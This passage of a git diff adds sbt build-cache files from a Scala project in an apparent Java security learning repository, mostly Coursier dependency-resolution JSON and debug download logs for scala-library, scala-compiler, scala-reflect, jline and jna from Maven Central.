.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-reflect","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-reflect","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.jline","name":"jline","revision":"3.21.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jline","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.jar"]],"missingArtifacts":[],"evicted":false,"extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[],"callers":[]},{"module":{"organization":"net.java.dev.jna","name":"jna","revision":"5.9.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jna","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://github.com/java-native-access/jna","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["LGPL-2.1-or-later","https://www.gnu.org/licenses/old-licenses/lgpl-2.1"],["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0.txt"]],"callers":[]}],"details":[]},{"configuration":{"name":"sources"},"modules":[],"details":[]},{"configuration":{"name":"test"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"test-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]}],"stats":{"resolveTime":-1,"downloadTime":-1,"downloadSize":-1,"cached":false},"stamps":{}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/_global/csrLogger/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/csrLogger/_global/streams/out new file mode 100644 index 00000000..82db3fc7 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/csrLogger/_global/streams/out @@ -0,0 +1,21 @@ +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.pom +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.pom +[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.pom +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.pom +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.pom +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline-parent/3.21.0/jline-parent-3.21.0.pom +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.jar +[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar +[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-javadoc.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-javadoc.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-javadoc.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/_global/dumpStructure/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/dumpStructure/_global/streams/out new file mode 100644 index 00000000..68ffea54 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/dumpStructure/_global/streams/out @@ -0,0 +1,2 @@ +[info] Writing structure to /private/var/folders/y5/frw31bm163n6g_q9wz9qkmyc0000gn/T/sbt-structure.xml... +[info] Done. diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/csrConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/csrConfiguration/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/csrProject/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/csrProject/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/input_dsp b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/input_dsp new file mode 100644 index 00000000..69acb19f --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/input_dsp @@ -0,0 +1 @@ +-106189456 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/output_dsp b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/output_dsp new file mode 100644 index 00000000..b0ae6329 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/output_dsp @@ -0,0 +1 @@ +{"{\"organization\":\"org.scala-lang\",\"name\":\"scala-library\",\"revision\":\"2.13.8\",\"isChanging\":false,\"isTransitive\":true,\"isForce\":false,\"explicitArtifacts\":[],\"inclusions\":[],\"exclusions\":[],\"extraAttributes\":{},\"crossVersion\":{\"type\":\"Disabled\"}}":{"value":{"$fields":["path","startLine"],"path":"(sbt.Classpaths.jvmBaseSettings) Defaults.scala","startLine":3407},"type":"LinePosition"}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/ivyConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/ivyConfiguration/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/ivySbt/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/ivySbt/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/moduleSettings/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/moduleSettings/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/projectDescriptors/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/projectDescriptors/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/update/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/update/_global/streams/out new file mode 100644 index 00000000..dad971a5 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/update/_global/streams/out @@ -0,0 +1,3 @@ +[debug] not up to date. inChanged = true, force = false +[debug] Updating ... +[debug] Done updating diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/out new file mode 100644 index 00000000..0d834bb5 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/out @@ -0,0 +1,3 @@ +[debug] not up to date. inChanged = true, force = false +[debug] Updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/"), "root")... +[debug] Done updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/"), "root") diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/inputs b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/inputs new file mode 100644 index 00000000..08e7b29c --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/inputs @@ -0,0 +1 @@ +402252421 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/output b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/output new file mode 100644 index 00000000..b3eee7d7 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/output @@ -0,0 +1 @@ +{"cachedDescriptor":".","configurations":[{"configuration":{"name":"compile"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"compile-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"docs"},"modules":[],"details":[]},{"configuration":{"name":"optional"},"modules":[],"details":[]},{"configuration":{"name":"plugin"},"modules":[],"details":[]},{"configuration":{"name":"pom"},"modules":[],"details":[]},{"configuration":{"name":"provided"},"modules":[],"details":[]},{"configuration":{"name":"runtime"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"runtime-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"scala-doc-tool"},"modules":[],"details":[]},{"configuration":{"name":"scala-tool"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar"],[{"name":"scala-compiler","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar"],[{"name":"scala-compiler","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-reflect","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-reflect","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-sources.jar"],[{"name":"scala-reflect","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org